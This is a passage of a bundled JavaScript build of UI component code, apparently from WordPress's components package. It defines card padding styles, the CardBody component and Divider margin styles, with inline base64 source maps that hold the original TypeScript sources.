sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBc0JZIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */"),
35619 small: /* @__PURE__ */ css("padding:", space(4), ";" + (false ? "" : ";label:small;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBeUJXIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */"),
35620 xSmall: xSmallCardPadding,
35621 // The `extraSmall` size is not officially documented, but the following styles
35622 // are kept for legacy reasons to support older values of the `size` prop.
35623 extraSmall: xSmallCardPadding
35624 };
35625 var getSinglePaddingValue = (size3) => {
35626 switch (size3) {
35627 case "xSmall":
35628 return space(2);
35629 case "small":
35630 return space(4);
35631 case "medium":
35632 return space(6);
35633 case "large":
35634 return space(8);
35635 case "none":
35636 return "0";
35637 default:
35638 return space(6);
35639 }
35640 };
35641 var getPaddingBySize = (size3) => {
35642 if (typeof size3 === "string") {
35643 return cardPaddings[size3];
35644 }
35645 if (size3) {
35646 const {
35647 blockStart,
35648 blockEnd,
35649 inlineStart,
35650 inlineEnd
35651 } = size3;
35652 return /* @__PURE__ */ css("padding-block-start:", getSinglePaddingValue(blockStart), ";padding-block-end:", getSinglePaddingValue(blockEnd), ";padding-inline-start:", getSinglePaddingValue(inlineStart), ";padding-inline-end:", getSinglePaddingValue(inlineEnd), ";" + (false ? "" : ";label:getPaddingBySize;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBMkRZIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */");
35653 }
35654 return cardPaddings.medium;
35655 };
35656
35657 // packages/components/build-module/card/card-body/hook.mjs
35658 function useCardBody(props) {
35659 const {
35660 className: className2,
35661 isScrollable = false,
35662 isShady = false,
35663 size: size3 = "medium",
35664 ...otherProps
35665 } = useContextSystem(props, "CardBody");
35666 const cx3 = useCx();
35667 const classes = (0, import_element100.useMemo)(() => cx3(
35668 Body,
35669 borderRadius,
35670 getPaddingBySize(size3),
35671 isShady && shady,
35672 // This classname is added for legacy compatibility reasons.
35673 "components-card__body",
35674 className2
35675 ), [className2, cx3, isShady, size3]);
35676 return {
35677 ...otherProps,
35678 className: classes,
35679 isScrollable
35680 };
35681 }
35682
35683 // packages/components/build-module/card/card-body/component.mjs
35684 var import_jsx_runtime163 = __toESM(require_jsx_runtime(), 1);
35685 function UnconnectedCardBody(props, forwardedRef) {
35686 const {
35687 isScrollable,
35688 ...otherProps
35689 } = useCardBody(props);
35690 if (isScrollable) {
35691 return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(component_default28, {
35692 ...otherProps,
35693 ref: forwardedRef
35694 });
35695 }
35696 return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(component_default, {
35697 ...otherProps,
35698 ref: forwardedRef
35699 });
35700 }
35701 var CardBody = contextConnect(UnconnectedCardBody, "CardBody");
35702 var component_default29 = CardBody;
35703
35704 // packages/components/build-module/divider/styles.mjs
35705 function _EMOTION_STRINGIFIED_CSS_ERROR__21() {
35706 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
35707 }
35708 var MARGIN_DIRECTIONS = {
35709 vertical: {
35710 start: "marginLeft",
35711 end: "marginRight"
35712 },
35713 horizontal: {
35714 start: "marginTop",
35715 end: "marginBottom"
35716 }
35717 };
35718 var renderMargin = ({
35719 "aria-orientation": orientation = "horizontal",
35720 margin,
35721 marginStart,
35722 marginEnd
35723 }) => /* @__PURE__ */ css(rtl({
35724 [MARGIN_DIRECTIONS[orientation].start]: space(marginStart ?? margin),
35725 [MARGIN_DIRECTIONS[orientation].end]: space(marginEnd ?? margin)
35726 })(), false ? "" : ";label:renderMargin;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQ0MiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRGl2aWRlclByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IE1BUkdJTl9ESVJFQ1RJT05TOiBSZWNvcmQ8XG5cdE5vbk51bGxhYmxlPCBEaXZpZGVyUHJvcHNbICdvcmllbnRhdGlvbicgXSA+LFxuXHRSZWNvcmQ8ICdzdGFydCcgfCAnZW5kJywgc3RyaW5nID5cbj4gPSB7XG5cdHZlcnRpY2FsOiB7XG5cdFx0c3RhcnQ6ICdtYXJnaW5MZWZ0Jyxcblx0XHRlbmQ6ICdtYXJnaW5SaWdodCcsXG5cdH0sXG5cdGhvcml6b250YWw6IHtcblx0XHRzdGFydDogJ21hcmdpblRvcCcsXG5cdFx0ZW5kOiAnbWFyZ2luQm90dG9tJyxcblx0fSxcbn07XG5cbi8vIFJlbmRlcnMgdGhlIGNvcnJlY3QgbWFyZ2lucyBnaXZlbiB0aGUgRGl2aWRlcidzIGBvcmllbnRhdGlvbmAgYW5kIHRoZSB3cml0aW5nIGRpcmVjdGlvbi5cbi8vIFdoZW4gYm90aCB0aGUgZ2VuZXJpYyBgbWFyZ2luYCBhbmQgdGhlIHNwZWNpZmljIGBtYXJnaW5TdGFydHxtYXJnaW5FbmRgIHByb3BzIGFyZSBkZWZpbmVkLFxuLy8gdGhlIGxhdHRlciB3aWxsIHRha2UgcHJpb3JpdHkuXG5jb25zdCByZW5kZXJNYXJnaW4gPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcblx0bWFyZ2luLFxuXHRtYXJnaW5TdGFydCxcblx0bWFyZ2luRW5kLFxufTogRGl2aWRlclByb3BzICkgPT5cblx0Y3NzKFxuXHRcdHJ0bCgge1xuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5zdGFydCBdOiBzcGFjZShcblx0XHRcdFx0bWFyZ2luU3RhcnQgPz8gbWFyZ2luXG5cdFx0XHQpLFxuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5lbmQgXTogc3BhY2UoXG5cdFx0XHRcdG1hcmdpbkVuZCA/PyBtYXJnaW5cblx0XHRcdCksXG5cdFx0fSApKClcblx0KTtcblxuY29uc3QgcmVuZGVyRGlzcGxheSA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCdcblx0XHQ/IGNzcyggeyBkaXNwbGF5OiAnaW5saW5lJyB9IClcblx0XHQ6IHVuZGVmaW5lZDtcbn07XG5cbmNvbnN0IHJlbmRlckJvcmRlciA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0WyBvcmllbnRhdGlvbiA9PT0gJ3ZlcnRpY2FsJyA/ICdib3JkZXJSaWdodCcgOiAnYm9yZGVyQm90dG9tJyBdOlxuXHRcdFx0JzFweCBzb2xpZCBjdXJyZW50Q29sb3InLFxuXHR9ICk7XG59O1xuXG5jb25zdCByZW5kZXJTaXplID0gKCB7XG5cdCdhcmlhLW9yaWVudGF0aW9uJzogb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcsXG59OiBEaXZpZGVyUHJvcHMgKSA9PlxuXHRjc3MoIHtcblx0XHRoZWlnaHQ6IG9yaWVudGF0aW9uID09PSAndmVydGljYWwnID8gJ2F1dG8nIDogMCxcblx0XHR3aWR0aDogb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCcgPyAwIDogJ2F1dG8nLFxuXHR9ICk7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyVmlldyA9IHN0eWxlZC5ocjwgRGl2aWRlclByb3BzID5gXG5cdGJvcmRlcjogMDtcblx0bWFyZ2luOiAwO1xuXG5cdCR7IHJlbmRlckRpc3BsYXkgfVxuXHQkeyByZW5kZXJCb3JkZXIgfVxuXHQkeyByZW5kZXJTaXplIH1cblx0JHsgcmVuZGVyTWFyZ2luIH1cbmA7XG4iXX0= */");
35727 var _ref7 = false ? {
35728 name: "1u4hpl4",
35729 styles: "display:inline"
35730 } : {
35731 name: "9r0jm7-renderDisplay",
35732 styles: "display:inline;label:renderDisplay;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtREkiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgRGl2aWRlclByb3BzIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IE1BUkdJTl9ESVJFQ1RJT05TOiBSZWNvcmQ8XG5cdE5vbk51bGxhYmxlPCBEaXZpZGVyUHJvcHNbICdvcmllbnRhdGlvbicgXSA+LFxuXHRSZWNvcmQ8ICdzdGFydCcgfCAnZW5kJywgc3RyaW5nID5cbj4gPSB7XG5cdHZlcnRpY2FsOiB7XG5cdFx0c3RhcnQ6ICdtYXJnaW5MZWZ0Jyxcblx0XHRlbmQ6ICdtYXJnaW5SaWdodCcsXG5cdH0sXG5cdGhvcml6b250YWw6IHtcblx0XHRzdGFydDogJ21hcmdpblRvcCcsXG5cdFx0ZW5kOiAnbWFyZ2luQm90dG9tJyxcblx0fSxcbn07XG5cbi8vIFJlbmRlcnMgdGhlIGNvcnJlY3QgbWFyZ2lucyBnaXZlbiB0aGUgRGl2aWRlcidzIGBvcmllbnRhdGlvbmAgYW5kIHRoZSB3cml0aW5nIGRpcmVjdGlvbi5cbi8vIFdoZW4gYm90aCB0aGUgZ2VuZXJpYyBgbWFyZ2luYCBhbmQgdGhlIHNwZWNpZmljIGBtYXJnaW5TdGFydHxtYXJnaW5FbmRgIHByb3BzIGFyZSBkZWZpbmVkLFxuLy8gdGhlIGxhdHRlciB3aWxsIHRha2UgcHJpb3JpdHkuXG5jb25zdCByZW5kZXJNYXJnaW4gPSAoIHtcblx0J2FyaWEtb3JpZW50YXRpb24nOiBvcmllbnRhdGlvbiA9ICdob3Jpem9udGFsJyxcblx0bWFyZ2luLFxuXHRtYXJnaW5TdGFydCxcblx0bWFyZ2luRW5kLFxufTogRGl2aWRlclByb3BzICkgPT5cblx0Y3NzKFxuXHRcdHJ0bCgge1xuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5zdGFydCBdOiBzcGFjZShcblx0XHRcdFx0bWFyZ2luU3RhcnQgPz8gbWFyZ2luXG5cdFx0XHQpLFxuXHRcdFx0WyBNQVJHSU5fRElSRUNUSU9OU1sgb3JpZW50YXRpb24gXS5lbmQgXTogc3BhY2UoXG5cdFx0XHRcdG1hcmdpbkVuZCA/PyBtYXJnaW5cblx0XHRcdCksXG5cdFx0fSApKClcblx0KTtcblxuY29uc3QgcmVuZGVyRGlzcGxheSA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCdcblx0XHQ/IGNzcyggeyBkaXNwbGF5OiAnaW5saW5lJyB9IClcblx0XHQ6IHVuZGVmaW5lZDtcbn07XG5cbmNvbnN0IHJlbmRlckJvcmRlciA9ICgge1xuXHQnYXJpYS1vcmllbnRhdGlvbic6IG9yaWVudGF0aW9uID0gJ2hvcml6b250YWwnLFxufTogRGl2aWRlclByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0WyBvcmllbnRhdGlvbiA9PT0gJ3ZlcnRpY2FsJyA/ICdib3JkZXJSaWdodCcgOiAnYm9yZGVyQm90dG9tJyBdOlxuXHRcdFx0JzFweCBzb2xpZCBjdXJyZW50Q29sb3InLFxuXHR9ICk7XG59O1xuXG5jb25zdCByZW5kZXJTaXplID0gKCB7XG5cdCdhcmlhLW9yaWVudGF0aW9uJzogb3JpZW50YXRpb24gPSAnaG9yaXpvbnRhbCcsXG59OiBEaXZpZGVyUHJvcHMgKSA9PlxuXHRjc3MoIHtcblx0XHRoZWlnaHQ6IG9yaWVudGF0aW9uID09PSAndmVydGljYWwnID8gJ2F1dG8nIDogMCxcblx0XHR3aWR0aDogb3JpZW50YXRpb24gPT09ICd2ZXJ0aWNhbCcgPyAwIDogJ2F1dG8nLFxuXHR9ICk7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyVmlldyA9IHN0eWxlZC5ocjwgRGl2aWRlclByb3BzID5gXG5cdGJvcmRlcjogMDtcblx0bWFyZ2luOiAwO1xuXG5cdCR7IHJlbmRlckRpc3BsYXkgfVxuXHQkeyByZW5kZXJCb3JkZXIgfVxuXHQkeyByZW5kZXJTaXplIH1cblx0JHsgcmVuZGVyTWFyZ2luIH1cbmA7XG4iXX0= */",
35733 toString: _EMOTION_STRINGIFIED_CSS_ERROR__21
35734 };
35735 var renderDisplay = ({
35736 "aria-orientation": orientation = "horizontal"
35737 }) => {
35738 return orientation === "vertical" ? _ref7 : void 0;
35739 };
